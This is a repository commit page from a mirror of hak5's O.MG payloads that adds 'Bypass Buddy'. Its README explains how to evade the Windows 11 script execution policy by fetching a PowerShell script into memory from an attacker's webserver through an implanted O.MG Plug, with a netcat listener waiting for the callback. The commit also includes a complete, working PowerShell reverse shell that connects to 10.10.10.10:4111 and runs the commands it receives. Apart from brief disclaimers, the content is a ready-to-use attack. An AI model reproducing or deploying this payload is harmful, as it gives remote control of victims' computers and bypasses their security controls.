mirror of https://github.com/hak5/omg-payloads.git
Add files via upload
In this DuckyScript™, we explore a method to evade Windows 11's Script Execution Policy protections. The approach involves downloading a script to RAM, then executing it in RAM on-the-fly. This can be accomplished **without** administrative rights.pull/237/head
parent
dd72e4b9cc
commit
a8ad722e5c
|
@ -0,0 +1,64 @@
|
|||
# The Bypass Buddy: Bypass Script Execution Policies
|
||||
|
||||
Running user (target) does **not** need to have admin rights. Bypass Buddy has only been tested on the [O.MG Plug Elite](https://hak5.org/products/omg-plug), Windows 11. It likely works on other [hak5 devices](https://hak5.org/products/) and Windows distributions -- the payload is written in standard DuckyScript™.
|
||||
|
||||
## Overview
|
||||
|
||||
### Target Has a Strict "Script Execution Policy"? Evade it and Run Whatever Script You Please!
|
||||
|
||||
In this DuckyScript™, we explore a method to evade Windows 11's Script Execution Policy protections. The approach involves downloading a script to RAM, then executing it in RAM on-the-fly. This can be accomplished **without** administrative rights.
|
||||
|
||||
<p align="center">
|
||||
<img src="img/evasion.png" alt="evasion" height="75%" width="75%"/>
|
||||
</p>
|
||||
|
||||
## How It Works
|
||||
|
||||
To avoid Windows Script Execution policies:
|
||||
1. **Upload** your .ps1 script to any webserver.
|
||||
2. **Download** the Powershel script to memory on the target host.
|
||||
3. **Execute** the Powershell script in RAM dynamically on your target host.
|
||||
*Note: Nothing is ever written to disk.*
|
||||
|
||||
## Steps to Execute a Restricted Powershell Payload
|
||||
|
||||
1. **Prepare Your Powershell Script (.ps1)**
|
||||
- Create your Powershell script. The example `reverse-shell.ps1` creates a reverse shell on the target host. You can create any Powerscript payload you please.
|
||||
|
||||
2. **Upload Your Powershell Payload**
|
||||
- Upload your .ps1 script to the serving-directory of your (attacking) webserver.
|
||||
|
||||
3. **Set Up Your Listener**
|
||||
- Open a listener on your receiving (attacking) host using Netcat or any listener you please:
|
||||
```bash
|
||||
nc -v -p 4111
|
||||
```
|
||||
|
||||
4. **Prepare Your DuckyScript™ Payload**
|
||||
- Add `bypass-buddy.txt` to the 'boot' slot of your O.MG Plug.
|
||||
|
||||
5. **Deploy the O.MG Plug**
|
||||
- Implant your O.MG Plug into the target host.
|
||||
|
||||
6. **Wait for Connection**
|
||||
- Wait for the target host to connect to your listener.
|
||||
|
||||
7. **Verify the Connection**
|
||||
- Type `whoami` into the reverse shell and hit enter.
|
||||
|
||||
8. **Success!**
|
||||
- You did it!
|
||||
<p></p>
|
||||
<p align="center">
|
||||
<img src="img/reverse-shell.png" alt="reverse-shell" height="50%" width="50%"/>
|
||||
</p>
|
||||
|
||||
## Notes
|
||||
|
||||
- **Ensure** to modify both `reverse-shell.ps1` and `bypass-buddy.txt` with your specific configurations, including the IP address and port of your sending/receiving hosts, if you choose to use `reverse-shell.ps1` as your payload.
|
||||
- In cases where you'd like to create your own .ps1 payload, modify just `bypass-buddy.txt` with your webserver's host/IP and script name.
|
||||
- This method is a **proof-of-concept** and should be tested responsibly and legally.
|
||||
|
||||
---
|
||||
|
||||
*Remember, the purpose of this proof-of-concept is educational and for understanding how RAM injection/execution can be used to bypass certain security measures. Always use these techniques ethically and within the bounds of the law.*
|
|
@ -0,0 +1,42 @@
|
|||
# Create a TCP client and connect to the specified address and port
|
||||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 4111)
|
||||
$stream = $client.GetStream()
|
||||
$writer = New-Object System.IO.StreamWriter($stream)
|
||||
$reader = New-Object System.IO.StreamReader($stream)
|
||||
$writer.AutoFlush = $true
|
||||
|
||||
# Continuously listen for commands and execute them
|
||||
while ($true) {
|
||||
try {
|
||||
# Read command from the listener
|
||||
$command = $reader.ReadLine()
|
||||
|
||||
# Check if the command is null or empty and continue to next iteration
|
||||
if ([string]::IsNullOrWhiteSpace($command)) {
|
||||
continue
|
||||
}
|
||||
|
||||
# Execute the command and capture the output
|
||||
$output = Invoke-Expression $command 2>&1 | Out-String
|
||||
|
||||
# Send the output back to the listener
|
||||
$writer.WriteLine($output)
|
||||
}
|
||||
catch {
|
||||
# Handle any errors that occur during command execution
|
||||
$errorMessage = $_.Exception.Message
|
||||
$writer.WriteLine("Error: $errorMessage")
|
||||
}
|
||||
finally {
|
||||
# Check if the stream is still open, if not, re-establish the connection
|
||||
if (-not $client.Connected) {
|
||||
$client.Close()
|
||||
Start-Sleep -Seconds 5 # Sleep before trying to reconnect
|
||||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 4111)
|
||||
$stream = $client.GetStream()
|
||||
$writer = New-Object System.IO.StreamWriter($stream)
|
||||
$reader = New-Object System.IO.StreamReader($stream)
|
||||
$writer.AutoFlush = $true
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue